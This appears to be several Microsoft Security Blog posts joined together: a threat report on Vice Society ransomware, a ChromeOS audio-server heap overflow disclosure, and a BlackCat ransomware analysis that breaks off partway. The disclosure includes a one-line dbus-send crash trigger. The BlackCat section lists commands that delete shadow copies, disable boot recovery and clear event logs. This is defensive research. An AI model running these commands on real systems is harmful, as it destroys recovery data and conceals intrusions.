In recent months, Microsoft has detected active ransomware and extortion campaigns impacting the global education sector, particularly in the US, by a threat actor we track as DEV-0832, also known as Vice Society. Shifting ransomware payloads over time from BlackCat, QuantumLocker, and Zeppelin, DEV-0832’s latest payload is a Zeppelin variant that includes Vice Society-specific file extensions, such as .v-s0ciety, .v-society, and, most recently, .locked. In several cases, Microsoft assesses that the group did not deploy ransomware and instead possibly performed extortion using only exfiltrated stolen data.

DEV-0832 is a cybercriminal group that has reportedly been active as early as June 2021. While the latest attacks between July and October 2022 have heavily impacted the education sector, DEV-0832’s previous opportunistic attacks have affected various industries like local government and retail. Microsoft assesses that the group is financially motivated and continues to focus on organizations where there are weaker security controls and a higher likelihood of compromise and ransom payout. Before deploying ransomware, DEV-0832 relies on tactics, techniques, and procedures commonly used among other ransomware actors, including the use of PowerShell scripts, repurposed legitimate tools, exploits for publicly disclosed vulnerabilities for initial access and post-compromise elevation of privilege, and commodity backdoors like SystemBC.

Ransomware has evolved into a complex threat that’s human-operated, adaptive, and focused on a wider scale, using data extortion as a monetization strategy to become even more impactful in recent years. To find easy entry and privilege escalation points in an environment, these attackers often take advantage of poor credential hygiene and legacy configurations or misconfigurations. Defenders can build a robust defense against ransomware by reading our ransomware as a service blog.

In this blog, we detail Microsoft’s analysis of observed DEV-0832 activity, including the tactics and techniques used across the group’s campaigns, with the goal of helping customers identify, investigate, and remediate activity in their environments. We provide hunting queries to help customers comprehensively search their environments for relevant indicators as well as protection and hardening guidance to help organizations increase resilience against these and similar attacks.

Who is DEV-0832 (Vice Society)?

Microsoft has identified multiple campaigns attributed to DEV-0832 over the past year based on the use of a unique PowerShell file name, staging directories, and ransom payloads and their accompanying notes. To gain an initial foothold in compromised networks, DEV-0832 has reportedly exploited vulnerable web-facing applications and used valid accounts. However, due to limited initial signals from affected organizations, Microsoft has not confirmed these attack vectors. Attackers then use custom PowerShell scripts, commodity tools, exploits for disclosed vulnerabilities, and native Windows binaries to gather privileged credentials, move laterally, collect and exfiltrate data, and deploy ransomware.

After deploying ransomware, DEV-0832 demands a ransom payment, threatening to leak stolen data on the group’s [.]onion site. In some cases, Microsoft observed that DEV-0832 did not deploy ransomware. Instead, the actors appeared to exfiltrate data and dwell within compromised networks. The group sometimes avoids a ransomware payload in favor of simple extortion—threatening to release stolen data unless a payment is made.

The group also goes to significant measures to ensure that an organization cannot recover from the attack without paying the ransom: Microsoft has observed DEV-0832 access two domain administrator accounts and reset user passwords of over 150,000 users, essentially locking out legitimate users before deploying ransomware to some devices. This effectively interrupts remediation efforts, including attempts to prevent the ransomware payload or post-compromise incident response.

Toolset

Ransomware payloads

Microsoft has observed DEV-0832 deploy multiple commodity ransomware variants over the past year: BlackCat, QuantumLocker, Zeppelin, and most recently a Vice Society-branded variant of the Zeppelin ransomware. While many ransomware groups have shifted away from branded file extensions in favor of randomly generated ones, DEV-0832 incorporated branding with their Vice Society variant using .v-s0ciety or .v-society file extensions. Most recently in late September 2022, DEV-0832 again modified their ransomware payload to a variant dubbed RedAlert, using a .locked file extension.

In one July 2022 intrusion, Microsoft security researchers identified DEV-0832 attempt to deploy QuantumLocker binaries, then within five hours, attempt to deploy suspected Zeppelin ransomware binaries. Such an incident might suggest that DEV-0832 maintains multiple ransomware payloads and switches depending on target defenses or, alternatively, that dispersed operators working under the DEV-0832 umbrella might maintain their own preferred ransomware payloads for distribution. The shift from a ransomware as a service (RaaS) offering (BlackCat) to a purchased wholly-owned malware offering (Zeppelin) and a custom Vice Society variant indicates DEV-0832 has active ties in the cybercriminal economy and has been testing ransomware payload efficacy or post-ransomware extortion opportunities.

In many intrusions, DEV-0832 stages their ransomware payloads in a hidden share on a Windows system, for example accessed via a share name containing “$”. Once DEV-0832 has exfiltrated data, they then distribute the ransomware onto local devices for launching, likely using group policy, as shown in the below command:

The group also has cross-platform capabilities: Microsoft identified the deployment of a Vice Society Linux Encryptor on a Linux ESXi server.

PowerShell scripts

DEV-0832 uses a PowerShell script to conduct a variety of malicious activities and make system-related changes within compromised networks. Like their ransomware payloads, DEV-0832 typically stages their PowerShell scripts on a domain controller.

Microsoft security researchers have observed several variations among identified DEV-0832 PowerShell scripts, indicating ongoing refinement and development over time—while some only perform system discovery commands, other scripts are further modified to perform persistence, defense evasion, data exfiltration, and even distribute the ransomware payloads.

Commodity tools

According to Microsoft investigations, DEV-0832 has used two commodity backdoors in ransomware attacks: SystemBC and PortStarter.

SystemBC is a post-compromise commodity remote access trojan (RAT) and proxy tool that has been incorporated into multiple diverse ransomware attacks. In one DEV-0832 intrusion, the attacker used both a compromised domain admin user account and a compromised contractor account to launch a PowerShell command that launched a SystemBC session under the value name “socks”:

PortStarter is a backdoor written in Go. According to Microsoft analysis, this malware provides functionality such as modifying firewall settings and opening ports to connect to pre-configured command-and-control (C2) servers.

DEV-0832 has also deployed ransomware payloads using the remote launching tool Power Admin. Power Admin is a legitimate tool that provides functionality to monitor servers and applications, as well as file access auditing. If an organization has enabled Console Security settings within Power Admin, an attacker must have credentials to make authorized changes.

Other commodity tools identified in DEV-0832 attacks include Advanced Port Scanner and Advanced IP Scanner for network discovery.

Abuse of legitimate tooling

Like many other ransomware actors, DEV-0832 relies on misusing legitimate system tools to reduce the need to launch malware or malicious scripts that automated security solutions might detect. Observed tools include:

• Use of the Windows Management Instrumentation Command-line (WMIC) to launch commands that delete Mongo databases, other backups, and security programs.
• Use of Impacket’s WMIexec functionality, an open-source tool to launch commands via WMI, and Impacket atexec.py, which launches commands using Task Scheduler.
• Use of the vssadmin command to delete shadow copy backups on Windows Server.
• Use of PsExec to remotely launch PowerShell, batch scripts, and deploy ransomware payloads

Additionally, in one identified intrusion, DEV-0832 attempted to turn off Microsoft Defender Antivirus using registry commands. Enabling Microsoft Defender Antivirus tamper protection helps block this type of activity.

Harvesting privileged credentials for ransomware deployment

Like other ransomware groups, after gaining an initial foothold within a network, DEV-0832 moves quickly to gather valid administrator local or domain credentials to ensure they can distribute ransomware payloads throughout the network for maximum impact.

Credential dumps

While Microsoft has not identified all the credential access techniques of DEV-0832, in many instances DEV-0832 accesses Local Security Authority Server Service (LSASS) dumps to obtain valid account credentials that were present in memory. Microsoft also observed that, instead of using a tool like Mimikatz to access a credential dump, DEV-0832 typically abuses the tool comsvcs.dll along with MiniDump to dump the LSASS process memory. Other ransomware actors have been observed using the same technique.

In cases where DEV-0832 obtained domain-level administrator accounts, they accessed NTDS dumps for later cracking. The following command shows the attacker exfiltrating the NTDS.dit file, which stores Active Directory data to an actor-created directory:

Kerberoast

Microsoft has also identified DEV-0832 used the malicious PowerSploit module Invoke-Kerberoast to perform a Kerberoast attack, which is a post-exploitation technique used to obtain credentials for a service account from Active Directory Domain Services (AD DS). The Invoke-Kerberoast module requests encrypted service tickets and returns them in an attacker-specified output format compatible with cracking tools. The group can use the cracked Kerberos hashes to reveal passwords for service accounts, often providing access to an account that has the equivalent of domain admin privileges. Furthermore, one Kerberos service ticket can have many associated service principal names (SPNs); successful Kerberoasting can then grant an attacker access to the SPNs’ associated service or user accounts, such as obtaining ticket granting service (TGS) tickets for Active Directory SPNs that would allow an attacker to do offline password cracking.

Combined with the fact that service account passwords are not usually set to expire and typically remain unchanged for a great length of time, attackers like DEV-0832 continue to rely on Kerberoasting in compromised networks. Microsoft 365 Defender blocks this attack with Antimalware Scan Interface (AMSI) and machine learning. Monitor for alerts that reference Kerberoast attacks closely as the presence of these alerts typically indicates a human adversary in your environment.

Account creation

In one suspected DEV-0832 intrusion, Microsoft observed an operator create accounts that, based on the naming convention, were designed to blend in as admin accounts and allow persistence without malware, as shown in the following command:

Monitoring newly created accounts can help identify this type of suspicious activity that does not rely on launching malware for persistence in the environment.

Exploitation of privilege escalation vulnerabilities

In August 2022, Microsoft security researchers identified one file during a DEV-0832 intrusion indicating that the group has incorporated an exploit for the disclosed, patched security flaw CVE-2022-24521 (Windows Common Log File System (CLFS) logical-error vulnerability). Microsoft released a patch in April 2022. The DEV-0832 file spawns a new cmd.exe process with system privileges.

According to public reporting, DEV-0832 has also incorporated exploits for the PrintNightmare vulnerability to escalate privileges in a domain. Combined with the CVE-2022-24521 exploit code, it is likely that DEV-0832, like many other adversaries, quickly incorporates available exploit code for disclosed vulnerabilities into their toolset to target unpatched systems.

Lateral movement with valid accounts

After gaining credentials, DEV-0832 frequently moves laterally within a network using Remote Desktop Protocol (RDP). And as previously mentioned, DEV-0832 has also used valid credentials to interact with remote network shares over Server Message Block (SMB) where they stage ransomware payloads and PowerShell scripts.

Data exfiltration

In one known intrusion, DEV-0832 operators exfiltrated hundreds of gigabytes of data by launching their PowerShell script, which was staged on a network share. The script contained hardcoded attacker-owned IP addresses and searched for wide-ranging, non-targeted keywords ranging from financial documents to medical information, while excluding files containing keywords such as varied antivirus product names or file artifact extensions. Given the wide range of keywords included in the script, it is unlikely that DEV-0832 regularly customizes it for each target.

Microsoft suspects that DEV-0832 uses legitimate tools Rclone and MegaSync for data exfiltration as well; many ransomware actors leverage these tools, which provide capabilities to upload files to cloud storage. DEV-0832 also uses file compression tools to collect data from compromised devices.

Mitigations

Apply these mitigations to reduce the impact of this threat:

• Use device discovery to increase your visibility into your network by finding unmanaged devices on your network and onboarding them to Microsoft Defender for Endpoint.
• Use Microsoft Defender Vulnerability Management to assess your current status and deploy any updates that might have been missed.
• Utilize Microsoft Defender Firewall, intrusion prevention devices, and your network firewall to prevent RPC and SMB communication among endpoints whenever possible. This limits lateral movement as well as other attack activities.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
• Turn on tamper protection features to prevent attackers from stopping security services.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus doesn’t detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Enable investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• LSA protection is enabled by default on new Windows 11 devices, hardening the platform against credential dumping techniques. LSA PPL protection will further restrict access to memory dumps making it hard to obtain credentials.
• Refer to Microsoft’s blog Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself for recommendations on building strong credential hygiene and other robust measures to defend against ransomware.

Microsoft customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any administrator, offer significant hardening against ransomware attacks. In observed attacks, Microsoft customers who had the following rules enabled were able to mitigate the attack in the initial stages and prevented hands-on-keyboard activity:

• Block process creations originating from PsExec and WMI commands
• Block executable files from running unless they meet a prevalence, age, or trusted list criterion
• Use advanced protection against ransomware
• Block credential stealing from the Windows local security authority subsystem (lsass.exe)

Detection details

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects DEV-0832’s Vice Society-branded Zeppelin variant as the following malware:

• Ransom:Win32/VSocCrypt
• Trojan:PowerShell/VSocCrypt
• Ransom:Linux/ViceSociety

Other commodity ransomware variants previously leveraged by DEV-0832 are detected as:

• Behavior:Win32/Ransomware!Quantum.A
• Behavior:Win32/Quantum.AA
• Ransom:Win32/Zeppelin
• Ransom:Win32/Blackcat

SystemBC and PortStarter are detected as:

• Behavior:Win32/SystemBC
• Trojan:Win32/SystemBC
• Backdoor:Win64/PortStarter

Some pre-ransomware intrusion activity used in multiple campaigns by various activity groups can be detected generically. During identified DEV-0832 activity, associated command line activity was detected with generic detections, including:

• Behavior:Win32/OfficeInjectingProc.A
• Behavior:Win32/PsexecRemote.E
• Behavior:Win32/SuspRemoteCopy.B
• Behavior:Win32/PSCodeInjector.A
• Behavior:Win32/REnamedPowerShell.A

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts can indicate threat activity on your network:

• DEV-0832 activity group
• ‘VSocCrypt’ ransomware was prevented

The following alerts might also indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

• Use of living-off-the-land binary to run malicious code
• Potential SystemBC execution via Windows Task Scheduler
• Suspicious sequence of exploration activities
• Process memory dump
• Suspicious behavior by cmd.exe was observed
• Suspicious remote activity
• Suspicious access to LSASS service
• Suspicious credential dump from NTDS.dit
• File backups were deleted
• System recovery setting tampering

The post DEV-0832 (Vice Society) opportunistic ransomware campaigns impacting US education sector appeared first on Microsoft Security Blog.

After carefully reviewing the implications, a Microsoft security researcher shared the vulnerability with Google in April 2022 and also reported it with the Chromium bug tracking system. Fixes for the vulnerability, which is assigned as CVE-2022-2587 and has a Common Vulnerability Scoring System (CVSS) score of 9.8 (classifying the vulnerability as critical), were quickly released and have been successfully deployed to end users. We’d like to thank the Google team and the Chromium community for their professional resolution and collaborative efforts.

This research coupled with the recent release of ChromeOS Flex, which can convert various legacy PCs and Macs into Chromebooks, emphasizes the importance of analyzing and monitoring security for devices running ChromeOS. Moreover, as even the most hardened operating systems might contain security bugs, we emphasize the need for strong monitoring of all cross-platform devices and operating systems. The best approach for protecting unmanaged devices is by using Microsoft Defender for Endpoint’s device discovery capabilities to monitor suspicious traffic and help detect attacker activities on such devices.

In this blog post, we share some information about the vulnerability and examine how it could be triggered as well as the possible implications. Displaying how our cross-domain expertise helps us uncover new and unknown threats in the effort to continually improve security for all, we also share details from our research with the larger security community to emphasize the importance of collaboration to secure platforms and devices.

An overview of ChromeOS security

One well-known operating system that uses D-Bus is ChromeOS. ChromeOS is a Google-proprietary Linux-based operating system that runs on Chromebooks, Chromeboxes, Chromebits and Chromebases. ChromeOS is a closed-source system with open-source components that are derived from ChromiumOS, and the operating system uses Google’s own Chrome browser as its principal user interface.

In terms of security, ChromeOS is well hardened; some of the security features on ChromeOS include:

• Hardened sandbox (called minijail)
• Verified boot
• Locked-down filesystem (mounted with noexec, nosuid, nodev) and dm-verity
• Root user restrictions (SECURE_NOROOT)
• When development mode is entered, all locally stored data is wiped

As with other modern browsers, exploiting ChromeOS usually requires chaining vulnerabilities together. Due to hardening measures in ChromeOS, discovering vulnerabilities became a specific niche and, therefore, the number of public vulnerabilities is quite low compared to other operating systems. ChromeOS vulnerabilities generally fall into one of three different classes:

1. ChromeOS-specific logic vulnerabilities
2. ChromeOS-specific memory-corruption vulnerabilities
3. Broader threats such as Chrome browser vulnerabilities

In this case, the discovered vulnerability falls under the second class, ChromeOS-specific memory-corruption vulnerabilities.

Bug hunting

Having discussed and extensively researched D-Bus, we continued this analysis by enumerating the D-Bus services offered on ChromeOS. In general, D-Bus is an Inter-Process-Communication (IPC) mechanism that’s popular on desktop platforms, specifically Linux.

ChromeOS’s developer mode offers the dbus-send utility to send messages over D-bus. As there are many D-Bus services offered on ChromeOS (usually identified by the “org.chromium” prefix), we automated the process and used the dbus-send utility to fetch the full tree of services and their exported methods and signals.

Because most D-Bus services support the org.freedesktop.DBus.Introspectable interface, it’s possible to dynamically fetch exported methods and signals without reading the source code or reverse-engineering the binaries.

Fetching all the exported service names can be performed using the following command:

dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames

Using org.chromium.ResourceManager as an example, each service can then be enumerated for its declared methods and signals via the following command:

dbus-send --system --dest=org.chromium.ResourceManager --type=method_call --print-reply /org/chromium/ResourceManager org.freedesktop.DBus.Introspectable.Introspect

Considering that the more input a method receives, the higher the probability of finding a security issue, we then focused on methods that export arbitrarily large inputs, such as strings or arrays. It wasn’t long before we found an interesting service: org.chromium.cras.

The vulnerability

The org.chromium.cras D-Bus name is owned by CRAS (ChromiumOS Audio Server), which has a well-documented architecture under the ChromiumOS wiki pages. In essence, CRAS is a server that resides between the operating system and ALSA (Advanced Linux Sound Architecture) as a means of routing audio to newly attached audio-supporting peripherals, like USB speakers and Bluetooth headsets.

Reviewing the exported methods uncovered one method with a particularly interesting handling function: SetPlayerIdentity, which gets one string (an argument called identity) as an input. Since ChromiumOS is open-sourced, tracking the calls is straightforward:

1. In cras_dbus_control.c, the handler function for SetPlayerIdentity is handle_set_player_identity, which extracts the identity argument from the D-Bus message and invoke the cras_bt_player_update_identity function.
2. In cras_bt_player.c, the function cras_bt_player_update_identity that was called checks that the identity input value is not null and is different than the current player identity string (saved under player.identity). If so, it copies the identity variable to player.identity using the C library function strcpy. Of note, “player” is a global variable in the cras_bt_player module and includes an identity field in it, among others.

To the experienced security engineer, the mention of the strcpy function immediately raises red flags. The strcpy function is known to cause various memory corruption vulnerabilities since it doesn’t perform any bounds check and is therefore considered unsafe. As there are no bounds checks on the user-supplied identity argument before invoking strcpy (besides the default message length limitations for D-Bus messages), we were confident we could trigger a heap-based buffer overflow, therefore triggering a memory corruption vulnerability.

Heap-based buffer overflows can be the cause of multiple vulnerabilities, most notoriously leading to arbitrary code execution through various means. This could include overriding a function callback in an allocated object or overriding chunk metadata, which can trigger other unexpected behavior during the lifetime of a program.

Checking how the player.identity string is initialized shows that it’s set in the cras_bt_player_init function as the result of malloc(128), which means it’s allocated on the user’s heap with 128 bytes.

Therefore, the vulnerability could be triggered using a single command line by sending the identity user-controlled D-Bus argument with more than 128 bytes, as displayed in our example code below:

dbus-send --system --dest=org.chromium.cras --type=method_call --print-reply /org/chromium/cras org.chromium.cras.Control.SetPlayerIdentity string:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

As most users don’t need to enable ChromeOS’s developer mode and, thus, can’t use the dbus-send utility, our next task was to find a way to trigger the bug without using developer mode.

Triggering the bug remotely

Thinking we spotted a local memory corruption issue, we wanted to better understand how to trigger the bug. Since the involved functions exclusively get triggered from D-Bus, we looked for functions that trigger the SetPlayerIdentity D-Bus method—if the arguments to those don’t have bounds checks, then those functions could be used to trigger the vulnerability.

Examining the open-source ChromiumOS repositories found that the CRAS audio client invokes the SetPlayerIdentity method (and exports a function with the same name). In turn, it’s called by the CRAS audio handler component’s method MediaSessionMetadataChanged, which extracts the identity from a metadata structure representing a song’s title:

At this point, it was clear that the vulnerability could be triggered via changes to the audio metadata. Looking for MediaSessionMetadataChanged invocations revealed two interesting cases that could both be triggered remotely:

1. From the browser: the browser’s media component invokes the function when metadata is changed, such as when playing a new song in the browser.
2. From Bluetooth: the media session service in the operating system invokes the function when a song’s metadata changes, which can happen when playing a new song from a paired Bluetooth device.

Implications and reporting

We reported the vulnerability to Google in April 2022 as a part of the Chromium bug tracking system and were assigned Issue 1320917, which immediately got assigned as a priority 1 security bug. In parallel, we tracked the issue internally in Microsoft Security Vulnerability Research (MSVR), while using OSINT to look for indications of that vulnerability being used in the wild. We did not find any indications of in-the-wild exploitation.

The impact of heap-based buffer overflow ranges from simple DoS to full-fledged RCE. Although it’s possible to allocate and free chunks through media metadata manipulation, performing the precise heap-grooming is not trivial in this case and attackers would need to chain the exploit with other vulnerabilities to successfully execute any arbitrary code. Given the potential impact of the vulnerability, coupled with the fact that it could be remotely triggered, it’s a security risk that justifies the bug priority and how fast the fix was issued.

We were impressed with the speed of the fix and the effectiveness of the overall process. Within less than a week, the code was committed and, after several merges, made generally available to users. We thank the Google team and the Chromium community for their efforts in addressing the issue.

Improving security for all through research and threat intelligence sharing

As the threat and computing landscape continues to evolve, Microsoft strives to continuously improve security for all through research-driven protections and collaboration with customers, partners, and industry experts, regardless of the device or platform in use.

To defend against the evolving threat landscape, organizations must closely monitor all devices and operating systems across platforms, including unmanaged devices. Unmanaged devices are sometimes ignored or missed by security teams at join time, making them attractive targets for compromising, quietly performing lateral movements, jumping network boundaries, and achieving persistence for the sake of launching broader attacks. Microsoft Defender for Endpoint’s device discovery capabilities help organizations find certain unmanaged devices, including those running ChromeOS, and can detect if they are being operated by attackers when they start performing network interactions with servers and other managed devices.

Microsoft security researchers continually work to discover new vulnerabilities and threats, turning knowledge of a variety of wide-reaching issues into improved solutions that protect users and organizations across platforms every single day. This case displays how vulnerability disclosures and threat intelligence sharing are essential to effectively mitigate issues and protect users against present and future threats. Moreover, by expanding upon our prior research, we can also continue to make positive contributions to the overall security of devices worldwide, even on platforms we currently don’t directly support.

Jonathan Bar Or

Microsoft 365 Defender Research Team

The post Uncovering a ChromeOS remote memory corruption vulnerability appeared first on Microsoft Security Blog.

To learn about how the new taxonomy represents the origin, unique traits, and impact of threat actors, and to get a complete mapping of threat actor names, read this blog: Microsoft shifts to a new threat actor naming taxonomy.

The BlackCat ransomware, also known as ALPHV, is a prevalent threat and a prime example of the growing ransomware as a service (RaaS) gig economy. It’s noteworthy due to its unconventional programming language (Rust), multiple target devices and possible entry points, and affiliation with prolific threat activity groups. While BlackCat’s arrival and execution vary based on the actors deploying it, the outcome is the same—target data is encrypted, exfiltrated, and used for “double extortion,” where attackers threaten to release the stolen data to the public if the ransom isn’t paid.

First observed in November 2021, BlackCat initially made headlines because it was one of the first ransomware families written in the Rust programming language. By using a modern language for its payload, this ransomware attempts to evade detection, especially by conventional security solutions that might still be catching up in their ability to analyze and parse binaries written in such language. BlackCat can also target multiple devices and operating systems. Microsoft has observed successful attacks against Windows and Linux devices and VMWare instances.

As we previously explained, the RaaS affiliate model consists of multiple players: access brokers, who compromise networks and maintain persistence; RaaS operators, who develop tools; and RaaS affiliates, who perform other activities like moving laterally across the network and exfiltrating data before ultimately launching the ransomware payload. Thus, as a RaaS payload, how BlackCat enters a target organization’s network varies, depending on the RaaS affiliate that deploys it. For example, while the common entry vectors for these threat actors include remote desktop applications and compromised credentials, we also saw a threat actor leverage Exchange server vulnerabilities to gain target network access. In addition, at least two known affiliates are now adopting BlackCat: DEV-0237 (known for previously deploying Ryuk, Conti, and Hive) and DEV-0504 (previously deployed Ryuk, REvil, BlackMatter, and Conti).

Such variations and adoptions markedly increase an organization’s risk of encountering BlackCat and pose challenges in detecting and defending against it because these actors and groups have different tactics, techniques, and procedures (TTPs). Thus, no two BlackCat “lives” or deployments might look the same. Indeed, based on Microsoft threat data, the impact of this ransomware has been noted in various countries and regions in Africa, the Americas, Asia, and Europe.

Human-operated ransomware attacks like those that deploy BlackCat continue to evolve and remain one of the attackers’ preferred methods to monetize their attacks. Organizations should consider complementing their security best practices and policies with a comprehensive solution like Microsoft 365 Defender, which offers protection capabilities that correlate various threat signals to detect and block such attacks and their follow-on activities.

In this blog, we provide details about the ransomware’s techniques and capabilities. We also take a deep dive into two incidents we’ve observed where BlackCat was deployed, as well as additional information about the threat activity groups that now deliver it. Finally, we offer best practices and recommendations to help defenders protect their organizations against this threat, including hunting queries and product-specific mitigations.

BlackCat’s anatomy: Payload capabilities

As mentioned earlier, BlackCat is one of the first ransomware written in the Rust programming language. Its use of a modern language exemplifies a recent trend where threat actors switch to languages like Rust or Go for their payloads in their attempt to not only avoid detection by conventional security solutions but also to challenge defenders who may be trying to reverse engineer the said payloads or compare them to similar threats.

BlackCat can target and encrypt Windows and Linux devices and VMWare instances. It has extensive capabilities, including self-propagation configurable by an affiliate for their usage and to environment encountered.

In the instances we’ve observed where the BlackCat payload did not have administrator privileges, the payload was launched via dllhost.exe, which then launched the following commands below (Table 1) via cmd.exe. These commands could vary, as the BlackCat payload allows affiliates to customize execution to the environment.

The flags used by the attackers and the options available were the following: -s -d -f -c; –access-token; –propagated; -no-prop-servers

User account control (UAC) bypass

BlackCat can bypass UAC, which means the payload will successfully run even if it runs from a non-administrator context. If the ransomware isn’t run with administrative privileges, it runs a secondary process under dllhost.exe with sufficient permissions needed to encrypt the maximum number of files on the system.

Domain and device enumeration

The ransomware can determine the computer name of the given system, local drives on a device, and the AD domain name and username on a device. The malware can also identify whether a user has domain admin privileges, thus increasing its capability of ransoming more devices.

Self-propagation

BlackCat discovers all servers that are connected to a network. The process first broadcasts NetBIOS Name Service (NBNC) messages to check for these additional devices. The ransomware then attempts to replicate itself on the answering servers using the credentials specified within the config via PsExec.

Hampering recovery efforts

BlackCat has numerous methods to make recovery efforts more difficult. The following are commands that might be launched by the payload, as well as their purposes:

• Modify boot loader
  • “C:\Windows\system32\cmd.exe” /c “bcdedit /set {default}”
  • “C:\Windows\system32\cmd.exe” /c “bcdedit /set {default} recoveryenabled No”
• Delete volume shadow copies
  • “C:\Windows\system32\cmd.exe” /c “vssadmin.exe Delete Shadows /all /quiet”
  • “C:\Windows\system32\cmd.exe” /c “wmic.exe Shadowcopy Delete”
• Clear Windows event logs
  • “C:\Windows\system32\cmd.exe” /c “cmd.exe /c  for /F \”tokens=*\” Incorrect function. in (‘ wevtutil.exe el ‘) DO wevtutil.exe cl \”Incorrect function. \””

Slinking its way in: Identifying attacks that can lead to BlackCat ransomware

Consistent with the RaaS model, threat actors utilize BlackCat as an additional payload to their ongoing campaigns. While their TTPs remain largely the same (for example, using tools like Mimikatz and PsExec to deploy the ransomware payload), BlackCat-related compromises have varying entry vectors, depending on the ransomware affiliate conducting the attack. Therefore, the pre-ransom steps of these attacks can also be markedly different.

For example, our research noted that one affiliate that deployed BlackCat leveraged unpatched Exchange servers or used stolen credentials to access target networks. The following sections detail the end-to-end attack chains of these two incidents we’ve observed.

Case study 1: Entry via unpatched Exchange

In one incident we’ve observed, attackers took advantage of an unpatched Exchange server to enter the target organization.

Discovery

Upon exploiting the Exchange vulnerability, the attackers launched the following discovery commands to gather information about the device they had compromised:

• cmd.exe and the commands ver and systeminfo – to collect operating system information
• net.exe – to determine domain computers, domain controllers, and domain admins in the environment

After executing these commands, the attackers navigated through directories and discovered a passwords folder that granted them access to account credentials they could use in the subsequent stages of the attack. They also used the del command to delete files related to their initial compromise activity.

The attackers then mounted a network share using net use and the stolen credentials and began looking for potential lateral movement targets using a combination of methods. First, they used WMIC.exe using the previously gathered device name as the node, launched the command whoami /all, and pinged google.com to check network connectivity. The output of the results were then written to a .log file on the mounted share. Second, the attackers used PowerShell.exe with the cmdlet Get-ADComputer and a filter to gather the last sign-in event.

Lateral movement

Two and a half days later, the attackers signed into one of the target devices they found during their initial discovery efforts using compromised credentials via interactive sign-in. They opted for a credential theft technique that didn’t require dropping a file like Mimikatz that antivirus products might detect. Instead, they opened Taskmgr.exe, created a dump file of the LSASS.exe process, and saved the file to a ZIP archive.

The attackers continued their previous discovery efforts using a PowerShell script version of ADRecon (ADRecon.ps1), which is a tool designed to gather extensive information about an Active Directory (AD) environment. The attacker followed up this action with a net scanning tool that opened connections to devices in the organization on server message block (SMB) and remote desktop protocol (RDP). For discovered devices, the attackers attempted to navigate to various network shares and used the Remote Desktop client (mstsc.exe) to sign into these devices, once again using the compromised account credentials.

These behaviors continued for days, with the attackers signing into numerous devices throughout the organization, dumping credentials, and determining what devices they could access.

Collection and exfiltration

On many of the devices the attackers signed into, efforts were made to collect and exfiltrate extensive amounts of data from the organization, including domain settings and information and intellectual property. To do this, the attackers used both MEGAsync and Rclone, which were renamed as legitimate Windows process names (for example, winlogon.exe, mstsc.exe).

Exfiltration of domain information to identify targets for lateral movement

Collecting domain information allowed the attackers to progress further in their attack because the said information could identify potential targets for lateral movement or those that would help the attackers distribute their ransomware payload. To do this, the attackers once again used ADRecon.ps1with numerous PowerShell cmdlets such as the following:

• Get-ADRGPO – gets group policy objects (GPO) in a domain
• Get-ADRDNSZone – gets all DNS zones and records in a domain
• Get-ADRGPLink – gets all group policy links applied to a scope of management in a domain

Additionally, the attackers dropped and used ADFind.exe commands to gather information on persons, computers, organizational units, and trust information, as well as pinged dozens of devices to check connectivity.

Exfiltration for double extortion

Intellectual property theft likely allowed the attackers to threaten the release of information if the subsequent ransom wasn’t paid—a practice known as “double extortion.” To steal intellectual property, the attackers targeted and collected data from SQL databases. They also navigated through directories and project folders, among others, of each device they could access, then exfiltrated the data they found in those. 

The exfiltration occurred for multiple days on multiple devices, which allowed the attackers to gather large volumes of information that they could then use for double extortion.

Encryption and ransom

It was a full two weeks from the initial compromise before the attackers progressed to ransomware deployment, thus highlighting the need for triaging and scoping out alert activity to understand accounts and the scope of access an attacker gained from their activity. Distribution of the ransomware payload using PsExec.exe proved to be the most common attack method.

Case study 2: Entry via compromised credentials

In another incident we observed, we found that a ransomware affiliate gained initial access to the environment via an internet-facing Remote Desktop server using compromised credentials to sign in.

Lateral movement

Once the attackers gained access to the target environment, they then used SMB to copy over and launch the Total Deployment Software administrative tool, allowing remote automated software deployment. Once this tool was installed, the attackers used it to install ScreenConnect (now known as ConnectWise), a remote desktop software application.

Credential theft

ScreenConnect was used to establish a remote session on the device, allowing attackers interactive control. With the device in their control, the attackers used cmd.exe to update the Registry to allow cleartext authentication via WDigest, and thus saved the attackers time by not having to crack password hashes. Shortly later, they used the Task Manager to dump the LSASS.exe process to steal the password, now in cleartext.

Eight hours later, the attackers reconnected to the device and stole credentials again. This time, however, they dropped and launched Mimikatz for the credential theft routine, likely because it can grab credentials beyond those stored in LSASS.exe. The attackers then signed out.

Persistence and encryption

A day later, the attackers returned to the environment using ScreenConnect. They used PowerShell to launch a command prompt process and then added a user account to the device using net.exe. The new user was then added to the local administrator group via net.exe.

Afterward, the attackers signed in using their newly created user account and began dropping and launching the ransomware payload. This account would also serve as a means of additional persistence beyond ScreenConnect and their other footholds in the environment to allow them to re-establish their presence, if needed. Ransomware adversaries are not above ransoming the same organization twice if access is not fully remediated.

Chrome.exe was used to navigate to a domain hosting the BlackCat payload. Notably, the folder structure included the organization name, indicating that this was a pre-staged payload specifically for the organization. Finally, the attackers launched the BlackCat payload on the device to encrypt its data.

Ransomware affiliates deploying BlackCat

